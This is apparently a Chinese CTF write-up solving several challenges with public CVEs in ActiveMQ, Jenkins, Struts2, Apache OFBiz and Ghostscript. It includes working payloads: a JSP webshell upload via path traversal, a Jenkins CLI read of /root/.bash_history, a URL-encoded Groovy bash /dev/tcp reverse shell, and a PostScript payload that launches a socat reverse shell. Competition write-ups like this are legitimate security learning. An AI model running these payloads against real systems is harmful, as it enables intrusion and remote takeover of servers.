Be-an-ActiveMq-Hacker

用的是这个exp:https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

根据文档把改好的poc-linux.xml和用msfvenom生成的test.elf部署到vps,同时监听待反弹端口,直接打

image-20240127201113159

image-20240127201137078

Be-a-Security-Researcher

先到网上下载一个jenkins-cli,poc直接打,读.bash_history

java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ help "@/root/.bash_history"

image-20240127201528995

vision

首先help发现存在date命令,可以使用date -f读取文件

date -f /flag

image-20240127220545316

Be-More-Elegant

看似很简单的cve,因为题目实现的action带的trick导致,全是细节。

参考文章:

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

题目自己实现了一个upload action,所以要去阅读下源码,文件上传调用的是be.more.elegant.HeaderIconAction

image-20240128010652081

具体怎么跟,文章写得很清楚了。我们只需要弄明白题目上传时是如何处理文件的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final File UPLOAD_DIR = new File(HeaderIconAction.class.getClassLoader().getResource("../../statics/").getFile(), "uploads");
/*...*/
public String doUpload() {
try {
String remoteAddr = this.request.getRemoteAddr();
String md5ForIp = md5Ip(remoteAddr);
File sandBox = new File(UPLOAD_DIR, md5ForIp);
File fileToCreate = new File(sandBox, this.fileUploadFileName);
FileUtils.copyFile(this.fileUpload, fileToCreate);
this.uploadedPath = "statics/uploads/" + md5ForIp + "/" + this.fileUploadFileName;
} catch (Exception e) {
return "error";
}
return "success";
}

会强制把上传的文件放入/statics/uploads/md5/filename,注意后面这个this.fileUploadFileName将是我们覆盖的关键,y4师傅说了,这个跟action的实现写法有关,如果不看这里就永远不知道怎么传参才能成功覆盖,其他的技术角度不多说了。默认上传时的name是fileUpload,符合第一个属性小写第二个属性大写,会直接返回。怎么绕过呢?

这又是一个细节。首先传一次正常的fileUpload,会得到:

image-20240128011150979

此时再将fileUpload修改成FileUpload使其为第一个大写第二个也大写,降低进入map的优先级。同时打poc,用的是fileUploadFileName进行覆盖,同时注意题目的filter只允许在/views/下访问jsp马:

image-20240128011348241

然后访问webshell地址:

http://xxx/statics/uploads/fdc90abd7438fbbdddebced0bc64415e/../../../../views/webshell.jsp

/./readflag

image-20240128011434994

Be-a-Framework-Hacker

应该是CVE-2023-49070,先按照步骤走走看

1
java -jar ysoserial.jar CommonsBeanutils1 'bash -c {echo,xxx}|{base64,-d}|{bash,-i}' |base64|tr -d "\n"

然后按照poc去打,果然没成功,抓包可以发现这里用的是HTTP/2,暂时不知道和HTTP/1.1区别是什么

查了一下应该没啥大影响。首先是看

https://github.com/Threekiii/Vulhub-Reproduce/blob/master/Apache%20OfBiz%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2023-49070.md

打CVE-2023-49070,打不动,那就应该是CVE-2023-51467。还是看y4师傅的文章:

https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/

继续顺藤摸瓜,可以groovy rce,绕过一个抽象的waf即可。最终打反弹shell的poc

1
groovyProgram=x%3dnew+String[3]%3bx[0]%3d'bash'%3bx[1]%3d'-c'%3bx[2]%3d'bash+-i+>%2526+/dev/tcp/ip/port+0>%25261%3b'%3bx.execute()%3b

getflag

image-20240128033229405

Be-an-Interpreter-Hacker

要么是CVE-2023-36664,要么是CVE-2023-28879

这两个看复现演示都是需要在进入GS命令行之前选取evil.eps文件的,而靶机dockerfile初始化这一句很绝

CMD /usr/bin/socat TCP-LISTEN:1337,fork EXEC:'/usr/local/bin/gs -dSAFER'意思就是一连上去就会处于ghostscript命令行里面,没机会部署恶意eps

继续找,找到个更新的CVE-2023-43115,青藤复现的,是-dSAFER,但是也是指定了ps文件,但没有人家手里的poc,还是不知道怎么打。期待一下wp

29日更新:其实应该是28879,人家的poc演示是-dSAFER,但是应该是因为exp是根据机器环境生成的poc,所以偏移不一样。打本地的docker打不通,打本地装好的gs倒是可以打通

又细读了一遍https://offsec.almond.consulting/ghostscript-cve-2023-28879.html,感觉是需要通过leakMemory来获取偏移,然后再生成正确的poc,最后执行命令。流下了不会pwn的泪水

兜兜转转,回到CVE-2023-43115,这个poc

1
2
3
4
5
6
7
8
%!PS
mark
/OutputDevice
/ijs
/IjsServer
(bash -c 'echo Hello World>&2')
.dicttomark
setpagedevice

本地能打通,连到本地起的docker反而打不通,是真的怪。

经过了反反复复仔仔细细的调试,一共测试了四个通道:

1
2
3
4
1.本机gs
2.本机去nc本机起的docker gs
3.本机进入docker shell里的gs
4.比赛中未关闭的正式靶机

其中,1和3在执行poc的时候是有回显的,2跟4基本一样,无回显。

其次,将echo改换成nc反弹shell的payload,只有1能够执行,这一点,也是为什么打不通的关键。

dockerfile的初始化里有这样一句:

CMD /usr/bin/socat TCP-LISTEN:1337

进入dockershell后,我们可以发现:

bash: nc: command not found

所以最终我们要打socat的反弹shellpoc才行。

vps监听:

1
socat TCP-LISTEN:8888 -

此外赛题靶机给的challenge并不能直接拿sha1那个爆破脚本来开启给我们的端口,但也不难写,md5爆破而已

1
2
3
4
5
6
import hashlib
s = input()
for i in range(0,10000000):
if hashlib.md5(str(i).encode()).hexdigest().startswith(s):
print(i)
break

最后打上payload

1
2
3
4
5
6
7
8
%!PS
mark
/OutputDevice
/ijs
/IjsServer
(socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port)
.dicttomark
setpagedevice

image-20240130105630139